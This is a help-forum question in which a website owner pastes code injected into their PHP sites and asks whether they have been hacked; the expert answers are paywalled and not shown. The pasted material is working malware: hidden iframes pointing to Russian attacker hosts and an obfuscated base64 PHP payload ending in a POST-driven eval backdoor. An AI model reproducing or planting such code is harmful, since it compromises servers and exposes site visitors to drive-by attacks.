troubleshooting Question

have I been hacked?

Avatar of jimbona27
jimbona27Flag for United Kingdom of Great Britain and Northern Ireland asked on
PHPApache Web Server
27 Comments3 Solutions668 ViewsLast Modified:
hi EE,
can anyone tell me what the hell this is?

It appeared across my site, within the actual php code!

how can I stop it happening because it keeps coming back..

ah crap, its on all my sites. (shared)
<iframe frameborder="0" onload="if (!this.src){ this.src='http://gooiq.ru:8080/index.php'; 
 
this.height='0'; this.width='0';}" >aueihjngyyimmhgyxphthqarllzkwhj</iframe> 
 
 
eval(base64_decode('aWYoIWlzc2V0KCRxaXBtMSkpe2Z1bmN0aW9uIHFpcG0oJHMpe2lmKHByZWdfbWF0Y2hfYWxsKCcjPHNjcm
 
lwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXSBhcyAkdilpZihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41
 
KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1
 
tcKFxbXShccypcZCssKXsyMCx9IycsJHYpO2lmKChwcmVnX21hdGNoKCcjXGJldmFsXGIjJywkdikmJigkZXx8c3RycG9zKCR2LCdm
 
cm9tQ2hhckNvZGUnKSkpfHwoJGUmJnN0cnBvcygkdiwnZG9jdW1lbnQud3JpdGUnKSkpJHM9c3RyX3JlcGxhY2UoJHYsJycsJHMpO3
 
1pZihwcmVnX21hdGNoX2FsbCgnIzxpZnJhbWUgKFtePl0qPylzcmM9W1wnIl0/KGh0dHA6KT8vLyhbXj5dKj8pPiNpcycsJHMsJGEp
 
KWZvcmVhY2goJGFbMF0gYXMgJHYpaWYocHJlZ19tYXRjaCgnIyB3aWR0aFxzKj1ccypbXCciXT8wKlswMV1bXCciPiBdfGRpc3BsYX
 
lccyo6XHMqbm9uZSNpJywkdikmJiFzdHJzdHIoJHYsJz8nLic+JykpJHM9cHJlZ19yZXBsYWNlKCcjJy5wcmVnX3F1b3RlKCR2LCcj
 
JykuJy4qPzwvaWZyYW1lPiNpcycsJycsJHMpOyRzPXN0cl9yZXBsYWNlKCRhPWJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZENCemNtTT
 
lhSFIwY0RvdkwybHVkR1Z5Ym1WMGNtRjJaV3d1Y25VdlpHOTNibXh2WVdSekwzZHdMV1psWldRdWNHaHdJRDQ4TDNOamNtbHdkRDQ9
 
JyksJycsJHMpO2lmKHN0cmlzdHIoJHMsJzxib2R5JykpJHM9cHJlZ19yZXBsYWNlKCcjKFxzKjxib2R5KSNtaScsJGEuJ1wxJywkcy
 
k7ZWxzZWlmKHN0cnBvcygkcywnLGEnKSkkcy49JGE7cmV0dXJuICRzO31mdW5jdGlvbiBxaXBtMigkYSwkYiwkYywkZCl7Z2xvYmFs
 
ICRxaXBtMTskcz1hcnJheSgpO2lmKGZ1bmN0aW9uX2V4aXN0cygkcWlwbTEpKWNhbGxfdXNlcl9mdW5jKCRxaXBtMSwkYSwkYiwkYy
 
wkZCk7Zm9yZWFjaChAb2JfZ2V0X3N0YXR1cygxKSBhcyAkdilpZigoJGE9JHZbJ25hbWUnXSk9PSdxaXBtJylyZXR1cm47ZWxzZWlm
 
KCRhPT0nb2JfZ3poYW5kbGVyJylicmVhaztlbHNlICRzW109YXJyYXkoJGE9PSdkZWZhdWx0IG91dHB1dCBoYW5kbGVyJz9mYWxzZT
 
okYSk7Zm9yKCRpPWNvdW50KCRzKS0xOyRpPj0wOyRpLS0peyRzWyRpXVsxXT1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4o
 
KTt9b2Jfc3RhcnQoJ3FpcG0nKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWy
 
RpXVsxXTt9fX0kcWlwbWw9KCgkYT1Ac2V0X2Vycm9yX2hhbmRsZXIoJ3FpcG0yJykpIT0ncWlwbTInKT8kYTowO2V2YWwoYmFzZTY0
 
X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==')); ?><?php 
 
 
 
 
<iframe frameborder="0" onload="if (!this.src){ this.src='http://testossteron.ru:8080/index.php'; 
 
this.height='0'; this.width='0';}" >lvlpbybigrctidrmtrnglepgtogztda</iframe>
ASKER CERTIFIED SOLUTION
HainKurt
Sr. System Analyst

Our community of experts have been thoroughly vetted for their expertise and industry experience.

Join our community to see this answer!
Unlock 3 Answers and 27 Comments.
Start Free Trial
Learn from the best

Network and collaborate with thousands of CTOs, CISOs, and IT Pros rooting for you and your success.

Andrew Hancock - VMware vExpert
See if this solution works for you by signing up for a 7 day free trial.
Unlock 3 Answers and 27 Comments.
Try for 7 days

”The time we save is the biggest benefit of E-E to our team. What could take multiple guys 2 hours or more each to find is accessed in around 15 minutes on Experts Exchange.

-Mike Kapnisakis, Warner Bros